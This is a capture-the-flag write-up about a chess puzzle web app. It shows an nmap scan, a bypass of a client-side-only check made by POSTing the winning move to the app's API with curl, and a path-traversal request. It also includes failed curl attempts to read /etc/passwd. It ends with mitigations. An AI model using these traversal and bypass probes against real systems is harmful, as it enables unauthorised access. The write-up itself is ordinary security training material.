Summary
Endgame Trainer is a small web app that presents a "mate-in-one" chess puzzle. The board is legit (built on the chess.js library), but the app has a gimmick: if you actually play the winning move, a fake system dialog pops up threatening to "shut down your PC" instead of letting you win. That block, however, only exists in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint (/api/move) that has no idea the UI is supposed to be stopping you. Sending the winning move (a1a8, delivering checkmate) straight to the API with curl skips the client-side gate entirely and the server hands back the flag in its JSON response. Along the way, a relative-path request also pulled the raw chess.js source out from a directory that wasn't meant to be reachable, confirming exactly how the client-side move validation worked and that it could be bypassed server-side.
Box IP referred to below as machine-ip.
Recon
Nmap
nmap -A -Pn machine-ip -o nmap
Nmap output
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_ 256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: "Endgame Trainer"
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 37.15 ms 192.168.128.1
2 ...
3 38.04 ms machine-ip
Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds
Two open ports: SSH (22, not the focus here) and an Express-based HTTP service on port 80 titled "Endgame Trainer."
Checking out the web app
curl http://machine-ip/
Page source
<title>Endgame Trainer</title>
<span>♜</span>
<span>Endgame<span>Trainer</span></span>
Mate-in-one · White to move
<span id="turnDot"></span>
<span id="statusText">White to move</span>
...
<span id="winTitle">/usr/lib32</span>
<span><span>×</span></span>
I'll shut down your PC if you play that.
OK
The page is a chessboard UI starting from a mate-in-one position (6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1, i.e. White rook on a1, Black king boxed in on g8). It's framed as a joke: try to deliver the actual mate and a fake "system" dialog threatens to shut down your PC instead of showing a win. That's the hint that the "you can't play that" logic is happening somewhere it shouldn't be trusted - the client.
Reading the client logic
curl http://machine-ip/js/app.js
Key excerpt from app.js
import { Chess } from '../vendor/chess.js';
const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function preMoveCheck(from, to, promotion) {
const probe = new Chess(game.fen());
let result;
try {
result = probe.move({ from, to, promotion: promotion || undefined });
} catch (e) {
result = null;
}
if (result && probe.isCheckmate()) {
showSystemNotice("I'll shut down your PC if you play that.");
return false;
}
return true;
}
function doMove(from, to) {
if (!isLegalTarget(from, to)) return false;
const promotion = needsPromotion(from, to) ? 'q' : undefined;
if (!preMoveCheck(from, to, promotion)) {
setElPos(els[from], from, true);
return true;
}
toast(SMUG[Math.floor(Math.random() * SMUG.length)]);
sendMove(from, to, promotion);
return true;
}
async function sendMove(from, to, promotion) {
locked = true;
let data;
try {
const res = await fetch('/api/move', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ from, to, promotion: promotion || undefined })
});
data = await res.json();
} catch (e) { ... }
...
}
This is the whole game right here. preMoveCheck() runs a local, throwaway copy of the chess engine (probe) against the move the user is trying to make. If that probe results in checkmate, the front end just refuses to call sendMove() and shows the fake "shut down your PC" popup instead. It never touches the server. The actual move submission happens over fetch('/api/move', ...), a plain POST with from/to/promotion in JSON - nothing here that couldn't be replayed directly with curl.
Confirming the library and a stray path traversal
curl http://machine-ip/../vendor/chess.js
Excerpt from chess.js
/**
* @license
* Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
* ...
*/
export const WHITE = 'w';
export const BLACK = 'b';
...
export class Chess {
...
isCheckmate() {
return this.isCheck() && this._moves().length === 0;
}
...
}
Requesting /../vendor/chess.js against the static file server successfully returned the full, unminified chess.js source from outside the intended web root - a relative-path traversal in how static assets are served. It didn't hand over anything sensitive on its own (just the open-source chess library also used in the front end), but it confirmed the exact validation logic being run client-side and that the static handler wasn't strictly confining requests to its public directory.
I tried pushing the traversal further to grab actual system files:
curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd
Output (both attempts)
<title>Error</title>
<pre>Cannot GET /etc/passwd</pre>
Both attempts to reach /etc/passwd were rejected - the traversal that reached vendor/ was likely a one-off consequence of the static root's structure rather than a fully open path traversal, and it didn't extend to arbitrary filesystem reads.
Exploitation - bypassing the client-side checkmate gate
Since preMoveCheck() is purely cosmetic and /api/move is a plain unauthenticated JSON endpoint, the fix was to just talk to the API directly and skip the browser (and its popup) entirely.
Grabbed a session cookie first, since the app tracks board state server-side per session:
curl -s -c cookies.txt http://machine-ip/ -o /dev/null
Then played the actual mate-in-one - rook from a1 to a8, delivering checkmate on the boxed-in king on g8:
curl -s -b cookies.txt -X POST http://machine-ip/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
Response
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}
The server validated the move independently (using the same chess.js library server-side), recognized checkmate, and returned the flag directly in the JSON response - no browser, no popup, no client-side gate involved at all.
Key vulnerabilities
-
Client-side-only enforcement of a security/game-logic boundary. The one thing the app was supposed to prevent - actually playing the winning move - was checked exclusively in front-end JavaScript (
preMoveCheck). The backend/api/moveendpoint accepted and executed the exact same move without re-checking whether it was "allowed" to be played, so the restriction was trivial to bypass by talking to the API directly. -
Minor path traversal in static file serving. A request for
/../vendor/chess.jsescaped the intended public directory and returned source code that wasn't meant to be directly reachable. This didn't extend to full filesystem reads in testing, but it's still an information-disclosure weakness in how static assets are routed.
Attack chain
- Nmap identifies an Express/Node web app on port 80 alongside SSH.
- The web page presents a mate-in-one chess puzzle with a gimmick blocking the winning move via a fake pop-up.
- Reading
/js/app.jsreveals the block is done with a client-side probe (preMoveCheck) and that real moves are sent to/api/moveover a simple JSON POST. - A relative path request (
/../vendor/chess.js) confirms the chess engine in use and that the static file handler doesn't fully confine paths to its root. - Grabbing a session cookie and POSTing the winning move (
a1toa8) directly to/api/movebypasses the client-side gate entirely; the server validates it as checkmate and returns the flag.
Mitigations
- Enforce all game/business logic rules server-side. Client-side checks should only be used for UX (instant feedback), never as the actual security or logic boundary - the server must independently re-validate every move (or any privileged action) regardless of what the UI attempted to prevent.
- Treat any client-supplied move/action as untrusted input; the server-side
chess.jsinstance should be the sole source of truth for whether a move is legal, and any application-specific restriction (like "don't allow the win") needs to live in that same trusted layer. - Lock down static file serving so relative paths (
../) can't escape the configured public directory; use a static file middleware configuration that resolves and validates paths against an allow-listed root rather than relying on default traversal protections. - Avoid shipping unnecessary source/library files in a location reachable by directory traversal in the first place - keep vendor/build directories outside of anything the web server can serve.
Top comments (0)